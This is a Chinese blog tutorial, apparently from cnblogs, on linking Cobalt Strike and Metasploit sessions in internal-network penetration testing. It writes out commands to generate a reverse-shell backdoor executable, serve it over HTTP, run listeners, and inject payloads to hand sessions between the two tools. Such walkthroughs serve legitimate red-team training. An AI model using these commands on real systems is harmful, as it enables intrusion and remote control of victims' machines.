首页 > 其他分享 >Cobalt Strike 与 MSF 联动

Cobalt Strike 与 MSF 联动

时间:2024-04-13 14:22:24浏览次数:18  
标签:set Cobalt 会话 Strike MSF payload

使用Cobalt Strike生成的会话和MSF相互连接,在内网渗透中,可以方便后期的渗透。

一、Cobalt Strike连接MSF会话

1. 上线msf会话

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4422 -f exe > backdoor.exe

img

2. python开启web服务,下载木马

python3 -m http.server 80

img

3. msf进行监听模式

msfconsole
use exploit/multi/hander
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.128
set lport 4444
run

运行木马反弹shell
img

4. 开启Cobalt Strike

./teamserver 10.10.10.128 123456

客户端连接后,添加一个监听
img

5. 会话转移到CS上

backgroud
use exploit/window/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 10.10.10.128
set lport 8888
set DisablePayloadHandler True
set PrependMigrate True
sessions -l
set session 1
run

img
img

二、MSF连接Cobalt Strike会话

1. 添加一个监听,生成一个木马程序
img

img

2. 重新添加一个监听器
img

3. 会话转义到MSF

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lport 9999
set lhost 0.0.0.0
exploit

img
img

标签:set,Cobalt,会话,Strike,MSF,payload
From: https://www.cnblogs.com/kalixcn/p/18132819

相关文章

  • clobalt strike下载和使用
    clobaltstrike首先要进行版本的下载。这里我选择的是4.5版本,原版本需要收费,这里直接下载的破解版[内网渗透:CobaltStrike4.5全版本&破解源码]-徐野子-博客园(cnblogs.com)把下载的文件拖到kali后,cd到文件运行命令,运行团队服务器。在这里,需要设置当前主机的IP地址和团队......
  • metasploit工具(msf)
    MSF基本介绍Metasploit是一个广泛使用的开源渗透测试框架,它提供了大量的工具和模块,用于模拟各种安全攻击,帮助安全专业人员评估和增强系统的安全性。它由Rapid7公司的H.D.Moore在2003年创立,并且由一个庞大的社区支持。Metasploit包含了一个漏洞数据库,用户可以通过它来搜索和利......
  • 权限提升-Windows权限提升篇&溢出漏洞&宝塔面板Bypass&CS插件化&MSF模块化
    知识点1、Web到Win系统提权-权限差异原因2、Web到Win系统提权-溢出漏洞(MSF&CS)3、Web到Win系统提权-集成软件(哥斯拉模块Bypass)章节点:1、Web权限提升及转移2、系统权限提升及转移3、宿主权限提升及转移4、域控权限提升及转移基础点0、为什么我们要学习权限提升转移......
  • MSF渗透使用说明
    实验环境前提:对方的445端口必须开放,首先要保证是能够访问到目标机器的,那么我们先ping一下目标机器,看网络是否连通如果无法ping的话,对方机器必须要关闭防火墙,或许有其他方法在对方开启防火墙的情况下访问到对方?目前采用关闭防火墙使用工具:kali靶机:windowsser......
  • [思维] [树形数据结构] CF1379F1 Chess Strikes Back (easy version)
    注意到棋盘大小为$2n,2m$,共$2nm$个白格,同时国王数量为$nm$,尝试将$2$个国王捆绑在一块,即将棋盘均匀划分为若干个$2*2$大小的大格子。在此基础上观察,显然同一个大格子内的两个白格不能同时放置国王,同时大格子数量为$nm$,因此问题转化为判定能否使得所有大格子都有一个国王,......
  • 《Rupture Propagation along Stepovers of Strike-Slip Faults: Effects of Initial
    以往认为阶跃距离临界距离为5km,但是有很多例外。本文主要探索应力对于模型的影响。along-termfaultstressmodel:simulatesteady-statestressperturbationaroundstepovers.这样的应力扰动可以对应更长的阶跃距离。15kmforareleasingstepover;7kmforarestrai......
  • msf打永恒之蓝操作
    msf打永恒之蓝操作启动msf后,可以查看ms17-010的相关漏洞searchms17-010选用payload类型setpayloadwindows/x64/meterpreter/reverse_tcp选择漏洞利用类型:永恒之蓝setexploitwindows/smb/ms17_010_eternalblue设置攻击地址setrhost192.168.208.176攻......
  • MSFlexGrid应用
    SubOnLButtonDown(ByValItem,ByValFlags,ByValx,ByValy)DimobjConnectionDimobjCommandDimobjRecordsetDimstrConnectionStringDimstrSQL,sSQLDimkWh,PFC,kW,A1,A2,A3,V1,V2,V3,Line_Name,Meter_ID,Line_IDDimstrkWh,strkW,strPFC,strA1,strA2,strA3,st......
  • 蓝队反制之-Cobalt_Strike 反制
    Cobalt_Strike<4.7.1RCE(CVE-2022-39197)01漏洞介绍CobaltStrike(CS)是一个为对手模拟和红队行动而设计的平台,相当于增强版的Armitage,早期以Metasploit为基础框架,3.0版本之后作为独立平台开发,主要用于目标攻击和模拟后渗透行动。CS集成了端口转发、服务扫描、端口监听、木......
  • 红队技巧12:cobaltstrike和msf相互联动
    前言我们在利用msf获取权限后有时候需要利用cobaltstrike的方便功能在利用cobaltstrike获取到权限后有时候需要利用msf的payload这时候就需要cobaltstrike和msf相互联动msf会话->cobaltstrike会话msf生成木马msfvenom-pwindows/meterpreter/reverse_tcplhost=192.168.30.......